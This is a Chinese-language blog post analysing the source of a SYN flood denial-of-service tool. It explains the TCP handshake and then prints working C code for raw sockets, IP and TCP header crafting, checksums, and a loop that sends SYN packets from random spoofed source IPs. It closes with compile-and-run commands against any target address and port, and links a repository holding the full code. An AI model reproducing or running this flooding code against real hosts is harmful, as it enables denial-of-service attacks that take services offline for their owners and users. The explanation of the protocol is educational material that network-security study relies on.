【网络编程】SYN Flood (SYN洪水攻击) 源代码分析

一.原理

1、TCP握手协议

第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;

第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;

第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。

在上述过程中,还有一些重要的概念:
未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。

2、SYN攻击原理

SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。

配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。

二.完整源代码

请前往我的github下载:

https://github.com/jiangeZh/SYN_Flood.git

三.部分源码分析

1.主函数

/* 为DNS地址,查询并转换成IP地址 */
/*
 *gethostbyname()返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针。
 *struct hostent
 *{
 *  char *h_name;
 *  char **h_aliases;
 *  short h_addrtype;
 *  short h_length;
 *  char **h_addr_list;
 *  #define h_addr h_addr_list[0]
 *};
 */
host = gethostbyname(argv[1]);
if(host == NULL)
{
    perror("gethostbyname()");
    exit(1);
}
addr.sin_addr = *((struct in_addr*)(host->h_addr));
strncpy( dst_ip, inet_ntoa(addr.sin_addr), 16 );
/* 建立原始socket */
/* raw icmp socket(IPPROTO_ICMP):
 * 不用构建IP头部分,只发送ICMP头和数据。返回包括IP头和ICMP头和数据。
 * raw udp socket(IPPROTO_UDP):
 * 不用构建IP头部分,只发送UDP头和数据。返回包括IP头和UDP头和数据。
 * raw tcp socket(IPPROTO_TCP):
 * 不用构建IP头部分,只发送TCP头和数据。返回包括IP头和TCP头和数据。
 * raw raw socket(IPPROTO_RAW):
 * 要构建IP头部和要发送的各种协议的头部和数据。返回包括IP头和相应的协议头和数据。
 */
sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_TCP);   
if (sockfd < 0)    
{
    perror("socket()");
    exit(1);
}
/* 当需要编写自己的IP数据包首部时,可以在原始套接字上设置套接字选项IP_HDRINCL.
 * 在不设置这个选项的情况下,IP协议自动填充IP数据包的首部.
 */
if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof (on)) < 0)
{
    perror("setsockopt()");
    exit(1);
}

/* 将程序的权限修改为普通用户 */
setuid(getpid());

2.首部结构定义

定义ip首部struct ip:

struct ip{
    unsigned char       hl; /* header length */
    unsigned char       tos; /* type of service */
    unsigned short      total_len; /* total length */
    unsigned short      id; /* identification */
    unsigned short      frag_and_flags; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
    unsigned char       ttl; /* time to live */
    unsigned char       proto; /* protocol */
    unsigned short      checksum; /* checksum */
    unsigned int        sourceIP; 
    unsigned int        destIP;
};

定义TCP首部struct tcphdr:

struct tcphdr{
    unsigned short      sport;
    unsigned short      dport;
    unsigned int        seq;
    unsigned int        ack;
    unsigned char       lenres;
    unsigned char       flag;
    unsigned short      win;
    unsigned short      sum;
    unsigned short      urp;
};


     |----------------|----------------|-------------
     |     sport      |     dport      |
     |----------------|----------------|
     |               seq               |
     |---------------------------------|
     |               ack               | 20 Bytes
     |------|----|----|----------------|
     |lenres|    |flag|     win        |
     |------|----|----|----------------|
     |     sum        |     urg        |
     |----------------|----------------|-------------
     |             options             | 4 Bytes
     |---------------------------------|   

                    TCP头 

定义TCP伪首部struct pseudohdr:

struct pseudohdr
{
    unsigned int        saddr;
    unsigned int        daddr;
    char                zero;
    char                protocol;
    unsigned short      length;
};

伪首部是一个虚拟的数据结构,其中的信息是从数据报所在IP分组头的分组头中提取的,既不向下传送也不向上递交,而仅仅是为计算校验和。这样的校验和,既校验了TCP&UDP用户数据的源端口号和目的端口号以及TCP&UDP用户数据报的数据部分,又检验了IP数据报的源IP地址和目的地址。伪报头保证TCP&UDP数据单元到达正确的目的地址。

3.checksum函数

计算IP校验和时,计算内容仅为IP首部;
计算TCP校验和时,计算内容为:伪首部+TCP首部+TCP数据;

这里使用的校验和函数是网上广为流传的:

/* CRC16校验 */
unsigned short inline
checksum (unsigned short *buffer, unsigned short size)     
{  

    unsigned long cksum = 0;

    while(size>1){
        cksum += *buffer++;
        size  -= sizeof(unsigned short);
    }

    if(size){
        cksum += *(unsigned char *)buffer;
    }

    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);     

    return((unsigned short )(~cksum));
}

4.send_synflood函数

初始化头部信息,并使用随机生成的源地址填充后计算校验和。
最后把IP首部+TCP首部打包发送出去。

    /* 初始化头部信息 */
    init_header(&ip, &tcp, &pseudoheader);
    /* 处于活动状态时持续发送SYN包 */
    while(alive)
    {
        ip.sourceIP = rand();

        //计算IP校验和
        bzero(buf, sizeof(buf));
        memcpy(buf , &ip, sizeof(struct ip));
        ip.checksum = checksum((u_short *) buf, sizeof(struct ip));

        pseudoheader.saddr = ip.sourceIP;

        //计算TCP校验和
        bzero(buf, sizeof(buf));
        memcpy(buf , &pseudoheader, sizeof(pseudoheader));
        memcpy(buf+sizeof(pseudoheader), &tcp, sizeof(struct tcphdr));
        tcp.sum = checksum((u_short *) buf, sizeof(pseudoheader)+sizeof(struct tcphdr));

        //打包IP+TCP
        bzero(sendbuf, sizeof(sendbuf));
        memcpy(sendbuf, &ip, sizeof(struct ip));
        memcpy(sendbuf+sizeof(struct ip), &tcp, sizeof(struct tcphdr));
        printf(".");
        if (
            sendto(sockfd, sendbuf, len, 0, (struct sockaddr *) addr, sizeof(struct sockaddr))
            < 0)
        {
            perror("sendto()");
            pthread_exit("fail");
        }
    }

5.init_header函数

/* 首部初始化函数
 * 填写IP头部,TCP头部
 * TCP伪头部仅用于校验和的计算
 */
void
init_header(struct ip *ip, struct tcphdr *tcp, struct pseudohdr *pseudoheader)
{
    int len = sizeof(struct ip) + sizeof(struct tcphdr);
    // IP头部数据初始化
    ip->hl = (4<<4 | sizeof(struct ip)/sizeof(unsigned int));
    ip->tos = 0;
    ip->total_len = htons(len);
    ip->id = 1;
    ip->frag_and_flags = 0x40; //不分片标志
    ip->ttl = 255;
    ip->proto = IPPROTO_TCP;
    ip->checksum = 0;
    ip->sourceIP = 0;
    ip->destIP = inet_addr(dst_ip);

    // TCP头部数据初始化
    tcp->sport = htons( rand()%16383 + 49152 );
    tcp->dport = htons(dst_port);
    tcp->seq = htonl( rand()%90000000 + 2345 ); 
    tcp->ack = 0; 
    tcp->lenres = (sizeof(struct tcphdr)/4<<4|0);
    tcp->flag = 0x02; //SYN标志
    tcp->win = htons (2048);  
    tcp->sum = 0;
    tcp->urp = 0;

    //TCP伪头部
    pseudoheader->zero = 0;
    pseudoheader->protocol = IPPROTO_TCP;
    pseudoheader->length = htons(sizeof(struct tcphdr));
    pseudoheader->daddr = inet_addr(dst_ip);
    srand((unsigned) time(NULL));
}

注意ip的hl字段:首部长度指的是IP层头部占32 bit字的数目(也就是IP层头部包含多少个4字节 – 32位),包括任何选项。由于它是一个4比特字段,因此首部最长为60个字节。普通IP数据报(没有任何选择项)字段的值是5 <==> 5 * 32 / 8 = 5 * 4 = 20 Bytes

四.测试

1.编译运行

$ gcc -o syn syn_flood.c -lpthread
$ sudo ./syn <IPaddress> <port>

这里可以指定目的地址和端口号,目的地址可以是IP地址也可以是域名。

我用我自己的服务器来做测试。

2.抓包观察

在目标主机上抓包查看,只显示TCP的SYN和ACK包:
(interface 为指定的接口,比如 -i eth0 )

tcpdump -i <interface> "tcp[tcpflags] & (tcp-syn|tcp-ack) != 0" 

可以看到有一大波SYN包袭来……

用netstat查看:

netstat -na | grep tcp

可以看到有很多处于 SYN_RECV 状态的连接。

以下是我测试的效果截图:

这里写图片描述

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 编程工作室 设计师:CSDN官方博客 返回首页